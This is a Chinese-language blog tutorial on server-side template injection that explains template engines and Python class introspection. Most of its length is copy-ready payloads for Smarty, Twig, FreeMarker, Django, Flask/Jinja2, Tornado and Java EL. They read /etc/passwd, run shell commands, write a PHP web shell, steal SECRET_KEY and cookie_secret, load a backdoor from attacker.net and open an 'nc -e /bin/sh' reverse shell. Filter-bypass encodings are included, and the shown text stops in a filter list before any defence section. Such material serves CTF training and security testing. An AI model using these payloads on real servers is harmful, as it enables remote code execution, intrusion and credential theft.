SSTI漏洞详解

news/2024/5/19 23:20:40 标签: SSTI, web安全, CTF

目录

前备知识

模块引擎:

模块渲染函数:

继承关系:

SSTI%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B-toc" style="margin-left:0px;">SSTI漏洞简介

SSTI%E6%BC%8F%E6%B4%9E%E6%88%90%E5%9B%A0-toc" style="margin-left:0px;">SSTI漏洞成因

SSTI%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-toc" style="margin-left:0px;">SSTI漏洞原理

一些常见模块介绍

php Twig模块引擎 代码演示1

Twig模块引擎代码演示2

python flask模块 代码演示1:

python jinja模块 代码演示2:

java  演示:

漏洞检测

攻击利用

1.攻击方向:

2.攻击方法

1.利用模块自身的特性进行攻击实例:

1.smaity

2.Twig模块

3.freeMarker

2.利用框架本身的特性进行攻击

1.Diango

2.Flask/Jinja2

3.Tornado

3.利用模语言本身的特性进行攻击

1.python

2.java

payload大全

Bypass

绕过.

1.使用中括号[]绕过

2.使用attr()绕过

绕过单双引号

1.request绕过

2.chr绕过

关键字绕过

绕过init

Jinjia2使用过滤器绕过:

防御方法

参考文章


前备知识

模块引擎:

模板引擎是一种将数据和模板结合起来动态生成 HTML 页面的工具。通常我们会使用相关模块来美化我们的博客,提高文章表面的质量,模块引擎就可以将我们所要传输的数据和模块整合,已达到我们的目的。

模块渲染函数:

python主要有两种模板渲染函数,render_template_string()与render_template(),其中render_template是用来渲染一个指定文件的。render_template_string()则是用来渲染字符串的。而渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞。

继承关系:

类之间的继承关系,后面再构造python payload时,常会用到

魔术方法
 上面用的魔术方法这里总结一下,其他更多的魔术方法之后在补充一下

__class__:表示实例对象所属的类。

__base__:类型对象的直接基类。

__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。

__mro__:一个由类组成的元组,在方法解析期间用于查找基类。

__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。

__init__:初始化类的构造函数,返回类型为function的方法。

__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。

__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。

__getattribute__():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。

__getitem__():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')。

__builtins__:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。

__import__:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()。

__str__():返回描述该对象的字符串,通常用于打印输出。

url_for:Flask框架中的一个方法,可用于获取__builtins__,且url_for.__globals__['__builtins__']包含current_app。

get_flashed_messages:Flask框架中的一个方法,可用于获取__builtins__,且get_flashed_messages.__globals__['__builtins__']包含current_app。

lipsum:Flask框架中的一个方法,可用于获取__builtins__,且lipsum.__globals__包含os模块(例如:{{lipsum.__globals__['os'].popen('ls').read()}})。

current_app:应用上下文的全局变量。

request:用于获取绕过字符串的参数,包括以下内容:

- request.args.x1:GET请求中的参数。
- request.values.x1:所有参数。
- request.cookies:cookies参数。
- request.headers:请求头参数。
- request.form.x1:POST请求中的表单参数(Content-Type为application/x-www-form-urlencoded或multipart/form-data)。
- request.data:POST请求中的数据(Content-Type为a/b)。
- request.json:POST请求中的JSON数据(Content-Type为application/json)。

config:当前应用的所有配置。还可以使用{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}来执行操作系统命令。

g:通过{{ g }}可以获取<flask.g of 'flask_ssti'>。

  创建四个类、其中B继承A、C继承B、D继承C。

class A:pass
class B(A):pass
class C(B):pass
class D(C):pass
d=D()
print(d.__class__)                                    //<class '__main__.D'>
print(d.__class__.__base__)                           //<class '__main__.C'>
print(d.__class__.__base__.__base__)                  //<class '__main__.B'>
print(d.__class__.__base__.__base__.__base__)         //<class '__main__.A'>
print("#"*30)
print(d.__class__.__mro__)                            //(<class '__main__.D'>, <class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
print(d.__class__.__mro__[3])                         //<class '__main__.A'>,索引第一个位[0],也就是本类
print(d.__class__.__mro__[4].__subclasses__())        //这里会显示 <class 'object'>类所有子类
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}  //执行命令'whoami',后面会讲原理

 下面就是object主类的所有子类,其中就包含A类,不过太多了此处也只是一部分,主要是为了方便演示

 但是我们在进行构造的时候是无法自己创建类的,此时我们就要用到一些符号来构造。

print([].__class__)                    
print([].__class__.__base__)



此处[]还可以替换为()、''、""、{}等符号

 如下图就可以找到主类


 

SSTI%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">SSTI漏洞简介

SSTI(Server-Side Template Injection)就是服务器端模板注入。利用该漏洞可用于直接攻击web服务器的内部。

SSTI%E6%BC%8F%E6%B4%9E%E6%88%90%E5%9B%A0">SSTI漏洞成因

当在使用模块时,开发者未对用户的输入进行限制,此时攻击方就可以针对不同的模块,插入相关代码,来进行文件读取、命令执行等

SSTI%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86">SSTI漏洞原理

服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题.

【补充】

单纯的字符串拼接并不能带来注入问题,关键要看你拼接的是什么,如果是控制语句,就会造成数据域与代码域的混淆,这样就会出洞

一些常见模块介绍

PHP:
1.Smarty:Smarty是PHP语言中广泛使用的模板引擎,它提供了强大的模板分离和逻辑控制功能。

2.Twig:Twig是一个现代化的PHP模板引擎,被广泛用于Symfony框架等PHP应用程序中。

3.Blade:Blade是Laravel框架的默认模板引擎,它提供了简洁的语法和强大的模板继承特性。

Java:
1.Thymeleaf:Thymeleaf是一种现代化的Java服务器端模板引擎,广泛应用于Spring框架等Java Web应用。

2.FreeMarker:FreeMarker是Java语言中流行的模板引擎,具有灵活的语法和强大的自定义标签功能。

3.Mustache:Mustache是一种简单而功能强大的模板语言,支持多种编程语言,包括Java。

4.JSP:没想到,这个专有名词不仅是文件格式,也可以是java的模块

5.Velocity:Velocity作为历史悠久的模板引擎不单单可以替代JSP作为Java Web的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。

Python:
1.Jinja2:Jinja2是Python语言中广泛使用的模板引擎,被许多Web框架(如Flask和Django)所采用。

2.Mako:Mako是另一个在Python中常用的模板引擎,它具有简单易用的语法和高性能的特点。

3.Django模板引擎:针对Django框架而言,它自带了一个强大的模板引擎,为开发人员提供了丰富的模板标签和过滤器。

4.tornado:tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发

php Twig模块引擎 代码演示1

<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));  // 将用户输入作为模版变量的值
echo $output;

上述情况,用户的输入到渲染的变量为name,但由于name外已经有{{}}了,当你输入{{7*7}}后,输入的还是{{7*7}},对模块并无影响,所以我们就无法进行漏洞,是一段安全代码

Twig模块引擎代码演示2

<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);

$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET[‘name‘]}");  // 将用户输入作为模版内容的一部分
echo $output;

此段代码虽然name外也有{},但是此处的括号实际上只是为了区分变量和字符串常量而已,所以此时我们输入{{7*7}},就被加载到模块内部,服务器一解析,就进行了代码执行--输出49。再进一步利用,服务器就多半没了

python flask模块 代码演示1:

@app.errorhandler(404)
def page_not_found(e):
    template = '''{%% extends "layout.html" %%}
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div>
{%% endblock %%}
''' % (request.url)
    return render_template_string(template), 404

上面是一段经典的flask代码,虽然此处并没有使用任何变量,也就是纯纯的代码块,但是由于此处还是利用了flask模块去渲染了的,也逃不出被利用,此处我们只需要在URL后面跟上{{7*7}},网页就会自然而然的返回49的结果。

python jinja模块 代码演示2:

# coding: utf-8
import sys
from jinja2 importTemplate

template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()

利用如上述,URL后加{{7*7}},被模块执行,页面返回49

java  演示:

哭死!!!我还不太会java,此处是一个经典的漏洞复现,直接上链接了

漏洞分析:https://paper.seebug.org/70/

漏洞检测

跟sql和xss注入的检测方式相差无二,都是注入点,并尝试各种payload,如果有代码执行的回显,则存在漏洞,后面利用漏洞时payload也要根据模块的不同格式而改变。

【补充】:有的时候出现 XSS 的时候,也有可能是 SSTI 漏洞,虽说模板引擎在大多数情况下都是使用的xss 过滤的,但是也不排除有些意外情况的出现,比如
有的模板引擎(比如 jinja2)在渲染的时候默认只针对特定的文件后缀名的文件(html,xhtml等)进行XSS过滤

此处附上大牛写的ssti漏洞的检测工具:

GitHub - epinna/tplmap: Server-Side Template Injection and Code Injection Detection and Exploitation Tool

关于我们如何黑盒判断模块,可以参考下图:

攻击利用

判断之后我们就可以针对模块,进行攻击利用

1.攻击方向:

找到模板注入主要从三个方向进行攻击

(1)模板本身
(2)框架本身
(3)语言本身
(4)应用本身

2.攻击方法

我们虽知SSTI带来的危害有,敏感信息透露、getshell、rce等,但是关键在于我们应对该注入点插入怎么样的代码才能达到目的,此时我们就要根据模块而定了,我们要查看该模块支持的语内置变量、属性、函数、还有纯粹框架的全局变量、属性、函数,然后我们考虑语言本身的特性,比如面向对象的内省机制,最最最后我们无能为力的时候才考虑怎么寻找利用该模块应用定义的一些东西,因为这个是几乎没有文档的,是开发者的自行设计,一般需要拿到应用的源码才能考虑,于是我将其放在最后一个。

【补充】:在这种面向对象的语言中,获取父类这种思想要贯穿始终,其中理论基础就是python的魔术方法、php的自省以及java的反射机制

1.利用模块自身的特性进行攻击实例:

1.smaity

Smarty是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function)

但是,实际上对语言的限制并不能影响我们执行命令,因为我们首先考虑的应该是模板本身,恰好 Smarty 很照顾我们,在阅读模板的文档以后我们发现:$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的好用的方法

比如:getStreamVariable()

github 中明确指出,这个方法可以获取传入变量的流(说人话就是读文件)

payload:

{self::getStreamVariable("file:///proc/self/loginuid")}

再比如:class Smarty_Internal_Write_File

有了上面的读文件当然要找一个写文件的了,这个类中有一个writeFile方法

函数原型:

public function writeFile($_filepath, $_contents, Smarty $smarty)

但是这个第三个参数是一个smarty类型,后来找到了self::clearConfig()

函数原型

public function clearConfig($varname = null)
{
    return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}

能写文件对攻击者真的是太有利了,一般不出意外能直接 getshell

payload:

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

2.Twig模块

相比于 Smarty ,Twig 无法调用静态方法,并且所有函数的返回值都转换为字符串,也就是我们不能使用 self:: 调用静态变量了,但是 通过官方文档的查询,我们可以使用_self,虽然_self本身没有什么有用的方法,但是却有一个env

env是指属性Twig_Environment对象,Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置(不知道为什么官方文档没有看到这个方法,后来我找到了Twig 的源码中的 environment.php,大概就是通过将缓存位置设置为远程服务器来引入远程文件包含漏洞:

payload:

{{_self.env.setCache("ftp://attacker.net:2121")}}
{{_self.env.loadTemplate("backdoor")}}

但是有个问题,allow_url_include一般是不打开的,没法包含远程文件,没关系还有个调用过滤器的函数 getFilter()

这个函数中调用了一个call_user_function方法

public function getFilter($name)
{
        [snip]
        foreach ($this->filterCallbacks as $callback) {
        if (false !== $filter = call_user_func($callback, $name)) {//注意这行
            return $filter;
        }
    }
    return false;
}

public function registerUndefinedFilterCallback($callable)
{
    $this->filterCallbacks[] = $callable;
} 

我们只要把exec() 作为回调函数传进去就能实现命令执行了

payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}

{{_self.env.getFilter("id")}}

3.freeMarker

这个模板主要用于 java ,可以按照 查找文档,查看框架源码,等方式寻找这个 payload 的思路来源

paylaod:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

2.利用框架本身的特性进行攻击

因为这里面的mobel模板似乎都是内置于框架内的,于是我就将其放在利用框架这一节

1.Diango

def view(request, *args, **kwargs):
    template = 'Hello {user}, This is your email: ' + request.GET.get('email')
    return HttpResponse(template.format(user=request.user))

显而易见,此处的注入点就是email,但是如果我们的能力已经被限制死了,很难执行命令,但是又想获取和User有关的配置信息,我们该怎么办?

可以发现我们现在拿到的只有一个和User有关的变量,那就是request user,那我们的思路是什么?

P牛在自己的博客中分享了一个思路,我们把它引用过来:

Django是一个庞大的框架,其数据库关系错综复杂,我们其实是可以通过属性之间的关系去一点点挖掘敏感信息。但Django仅仅是一个框架,在没有目标源码的情况下很难去挖掘信息,所以我的思路就是:去挖掘Django自带的应用中的一些路径,最终读取到Django的配置项

大概什么意思呢?就是我们在没有应用源码的情况下要学会去寻找框架本身的属性,看到这个空框架有什么属性和类之间引用,然后一步一步的靠近我们的目标

后来我们发现,经过翻找,发现Django自带的应用“admin”(也就是Django自带的后台)的models.py中导入了当前网站的配置文件:

此时我们的思路就比较明确了:我们只需要通过某种方式,找到Django默认应用的admin的model,再通过这个model获取setting对象,进而获取数据库密码、web加密密钥等信息。

payload:

http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}

http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

2.Flask/Jinja2

config是Flask模版中的一个全局对象,他代表"当前配置对象(flask.config)",它是一个类字典的对象,它包含了所有应用程序的配置值。在多数情况下,它包含了比如数据库链接的字符串,连接到第三方的凭证,SECRET_KEY等敏感值。虽然config是一个类字典的对象,但是通过查阅文档可以发现config有很多神奇的方法:from_envvar、from_boject,from_pyfile,以及root_path。

我们可以使用from_pyfile来进行命令执行

{{ from_pyfile('/etc/passwd') }} //读取/etc/passwd文件

{{ from_pyfile('__import__("os").system("whoami")') }}  //执行whoami指令

还可以使用from_object来进行命令执行

{{ from_object(os).system('whoami') }}

{{ from_object(__import__('os')).system('whoami') }}

两个函数的源代码如下

def from_pyfile(self, filename, silent=False):

    filename = os.path.join(self.root_path, filename)
    d = types.ModuleType('config')
    d.__file__ = filename
    try:
        with open(filename) as config_file:
            exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
    except IOError as e:
        if silent and e.errno in (errno.ENOENT, errno.EISDIR):
            return False
        e.strerror = 'Unable to load configuration file (%s)' % e.strerror
        raise
    self.from_object(d)
    return True


def from_object(self, obj):

    if isinstance(obj, string_types):
        obj = import_string(obj)
    for key in dir(obj):
        if key.isupper():
            self[key] = getattr(obj, key)

将传入的文件使用 compile() 这个python 的内置方法将其编译成字节码(.pyc),并放到 exec() 里面去执行,注意最后一个参数 d.__dict__翻阅文档发现,这个参数的含义是指定 exec 执行的上下文

import os
import sys

file_path = sys.argv[1]

with open(file_path, 'r') as f:
    source = f.read()
    code_obj = compile(source, '<string>', 'exec')

exec(code_obj, d.__dict__)

执行的代码片段被放入了 d.__dict__ 中,这看似没设么用,但是神奇的是后面他调用了 from_object() 方法,根据源码

for key in dir(obj):
           if key.isupper():
               self[key] = getattr(obj, key)

这个方法会遍历 Obj 的 dict 并且找到大写字母的属性,将属性的值给 self[‘属性名’],所以说如果我们能让 from_pyfile 去读这样的一个文件

from os import system
SHELL = system

到时候我们就能通过 config[‘SHELL’] 调用 system 方法了

那么文件怎么写入呢?Jinja2 有沙盒机制,我们必须通过绕过沙盒的方式写入我们想要的文件,具体的沙盒绕过可以参考一篇博文python 沙盒逃逸备忘

得到最终的payload

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//写文件
{{ config.from_pyfile('/tmp/evil') }}
//加载system
{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//执行命令反弹SHELL

3.Tornado

以护网杯的一道tornado的SSTI为例,该题是通过SST来获取cookie_secret,其中的过滤有

"%'()*-/=[\]_|

 甚至把_(下划线)都过滤了,也就是说我们没法通过Python 的魔法方法进行沙盒逃逸执行命令,并且实际上对我们的寻找合适的 tornado 的内置的方法也有很多的限制。

我觉得除了直接阅读官方的文档,还有一个重要的方法就是直接下载 tornado 的框架源码,全局搜索 cookie_secret

cookie_secret 是handler.application.settings 的键值,那我们只要获取到这个对象是不是就可以了,没错,那么 handler 是什么,看官方文档,我特地看一下模板的对框架的语法支持(因为,模板中有一些内置的对象等同于框架中的对象,但是一般为了方便书写前段就会给一个比较简单的名字,就比如 JSP 的 request 内置对象实际上对应着 servlet 中的 HttpServletRequest )

handler 对应的就是 RequestHandler,那么也就是说,我们可以使用 handler 调用 RequestHandler 的方法,我们还是看官方文档

RequestHandler.settings 是 self.application.settings 的别名,等等! 有没有觉得有些似曾相识?对啊,这不就是我们之前在框架源码中找到的那个东西吗,也就是说我们能直接通过 handler.settings 访问到 我们朝思暮想的 cookie_secret ,至此我的分析就结束了。

payload:

http://117.78.26.79:31093/error?msg={{handler.settings}}

3.利用模语言本身的特性进行攻击

1.python

Python 最最经典的就是使用魔法方法,这里就涉及到Python沙盒绕过了,前面说过,模板的设计者也发现了模板的执行命令的特性,于是就给模本增加了一种沙盒的机制,在这个沙盒中你很难执行一般我们能想到函数,基本都被禁用了,所以我们不得不使用自省的机制来绕过沙盒,具体的方法就是在一篇博文中

2.java

java.lang包是java语言的核心,它提供了java中的基础类。包括基本Object类、Class类、String类、基本类型的包装类、基本的数学类等等最基本的类

payload:

${T(java.lang.System).getenv()}

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

当然要是文件操作就要用另外的类了,思路是不变的

payload:

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

【注】:这里面的 T() 是 EL 的语法规定(比如 Spring 框架的 EL 就是 SPEL)

payload大全

因为python是最常见的,这里payload主要针对python

#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)


#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}


#调用os的popen执行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}


#调用eval函数读取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} 
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}


#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}


#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}


#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}


#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}}  ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}


#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

Bypass

绕过.

1.使用中括号[]绕过

{{().__class__}} 
可替换为:
{{()["__class__"]}}

举例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}

2.使用attr()绕过

attr()函数是Python内置函数之一,用于获取对象的属性值或设置属性值。它可以用于任何具有属性的对象,例如类实例、模块、函数等。

{{().__class__}} 
可替换为:
{{()|attr("__class__")}}
{{getattr('',"__class__")}}

举例:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

绕过单双引号

1.request绕过

{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd    
#分析:
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
若args被过滤了,还可以使用values来接受GET或者POST参数。

其它例子:
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd

{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd

2.chr绕过

{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

注意:使用GET请求时,+号需要url编码,否则会被当作空格处理。

关键字绕过

1.使用切片将逆置的关键字顺序输出,进而达到绕过。

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

2.利用"+"进行字符串拼接,绕过关键字过滤。

{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}

3.join拼接

利用join()函数绕过关键字过滤

{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}

4.利用引号绕过

{{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}

5.使用str原生函数replace替换

将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。

{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}

6.ascii转换

将每一个字符都转换为ascii值后再拼接在一起。

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

7.16进制编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"

例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}

同理,也可使用八进制编码绕过

8.base64编码绕过

对于python2,可利用base64进行绕过,对于python3没有decode方法,不能使用该方法进行绕过。

"__class__"==("X19jbGFzc19f").decode("base64")

例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

9.unicode编码绕过

{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()

10.Hex编码绕过

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

绕过init

可以用__enter____exit__替代__init__

{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
 
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

Jinjia2使用过滤器绕过:

在 JinJa2 中内置了很多过滤器,变量可以通过过滤器进行修改,过滤器与变量之间用管道符号|隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号|连接多个过滤器,一个过滤器的输出应用于下一个过滤器。
内置过滤器列表如下:

abs()forceescape()map()select()unique()
attr()format()max()selectattr()upper()
batch()groupby()min()slice()urlencode()
capitalize()indent()pprint()sort()urlize()
center()int()random()string()wordcount()
default()items()reject()striptags()wordwrap()
dictsort()join()rejectattr()sum()xmlattr()
escape()last()replace()title()filesizeformat()
length()reverse()tojson()first()list()
round()trim()float()lower()safe()
truncate()

其中常见过滤器用法如下:

abs()
  返回参数的绝对值。
attr()
  获取对象的属性。foo|attr("bar") 等价于 foo.bar
capitalize()
  第一个字符大写,所有其他字符小写。
first()
  返回序列的第一项。
float()
  将值转换为浮点数。如果转换不起作用将返回 0.0。
int()
  将值转换为整数。如果转换不起作用将返回 0。
items()
